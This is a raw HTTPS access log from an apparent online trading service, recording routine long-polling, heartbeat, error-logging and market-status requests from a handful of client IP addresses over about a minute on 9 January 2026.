[09/Jan/2026:11:18:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929003891 HTTP/1.1" -
[09/Jan/2026:11:18:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929020226 HTTP/1.1" -
[09/Jan/2026:11:18:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929006024 HTTP/1.1" -
[09/Jan/2026:11:18:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:18:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:18:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929011172 HTTP/1.1" -
[09/Jan/2026:11:19:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929008921 HTTP/1.1" -
[09/Jan/2026:11:19:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929011041 HTTP/1.1" -
[09/Jan/2026:11:19:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929026226 HTTP/1.1" -
[09/Jan/2026:11:19:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929016307 HTTP/1.1" -
[09/Jan/2026:11:19:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929013988 HTTP/1.1" -
[09/Jan/2026:11:19:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929016074 HTTP/1.1" -
[09/Jan/2026:11:19:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929032228 HTTP/1.1" -
[09/Jan/2026:11:19:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929021434 HTTP/1.1" -
[09/Jan/2026:11:19:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:19:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929019054 HTTP/1.1" -
[09/Jan/2026:11:19:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:19:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929021108 HTTP/1.1" -
[09/Jan/2026:11:19:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929038231 HTTP/1.1" -
[09/Jan/2026:11:19:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929026567 HTTP/1.1" -
[09/Jan/2026:11:19:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929024133 HTTP/1.1" -
[09/Jan/2026:11:19:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929026127 HTTP/1.1" -
[09/Jan/2026:11:19:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:19:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:19:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:19:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:19:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929031742 HTTP/1.1" -
[09/Jan/2026:11:19:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929044232 HTTP/1.1" -
[09/Jan/2026:11:19:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929029202 HTTP/1.1" -
[09/Jan/2026:11:19:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929031175 HTTP/1.1" -
[09/Jan/2026:11:19:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:19:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929036802 HTTP/1.1" -
[09/Jan/2026:11:19:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929050224 HTTP/1.1" -
[09/Jan/2026:11:19:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929034228 HTTP/1.1" -
[09/Jan/2026:11:19:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929036202 HTTP/1.1" -
[09/Jan/2026:11:19:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:19:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929041933 HTTP/1.1" -
[09/Jan/2026:11:19:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929039255 HTTP/1.1" -
[09/Jan/2026:11:19:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929041245 HTTP/1.1" -
[09/Jan/2026:11:19:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929056237 HTTP/1.1" -
[09/Jan/2026:11:19:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929047083 HTTP/1.1" -
[09/Jan/2026:11:19:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929044324 HTTP/1.1" -
[09/Jan/2026:11:19:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929046275 HTTP/1.1" -
[09/Jan/2026:11:19:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929062233 HTTP/1.1" -
[09/Jan/2026:11:19:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929052213 HTTP/1.1" -
[09/Jan/2026:11:19:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929049400 HTTP/1.1" -
[09/Jan/2026:11:19:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929051329 HTTP/1.1" -
[09/Jan/2026:11:19:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929068222 HTTP/1.1" -
[09/Jan/2026:11:19:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929057350 HTTP/1.1" -
[09/Jan/2026:11:19:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929054576 HTTP/1.1" -
[09/Jan/2026:11:19:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929056370 HTTP/1.1" -
[09/Jan/2026:11:19:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:19:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:19:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:19:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:19:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929074235 HTTP/1.1" -
[09/Jan/2026:11:19:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929062486 HTTP/1.1" -
[09/Jan/2026:11:19:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929061411 HTTP/1.1" -
[09/Jan/2026:11:19:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:19:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929059657 HTTP/1.1" -
[09/Jan/2026:11:19:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929067549 HTTP/1.1" -
[09/Jan/2026:11:19:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929080231 HTTP/1.1" -
[09/Jan/2026:11:19:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929066432 HTTP/1.1" -
[09/Jan/2026:11:19:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:19:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:19:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929064998 HTTP/1.1" -
[09/Jan/2026:11:20:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929072685 HTTP/1.1" -
[09/Jan/2026:11:20:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929071456 HTTP/1.1" -
[09/Jan/2026:11:20:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929086229 HTTP/1.1" -
[09/Jan/2026:11:20:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929070065 HTTP/1.1" -
[09/Jan/2026:11:20:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929077806 HTTP/1.1" -
[09/Jan/2026:11:20:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929076473 HTTP/1.1" -
[09/Jan/2026:11:20:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929075122 HTTP/1.1" -
[09/Jan/2026:11:20:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929092235 HTTP/1.1" -
[09/Jan/2026:11:20:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929082940 HTTP/1.1" -
[09/Jan/2026:11:20:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929081499 HTTP/1.1" -
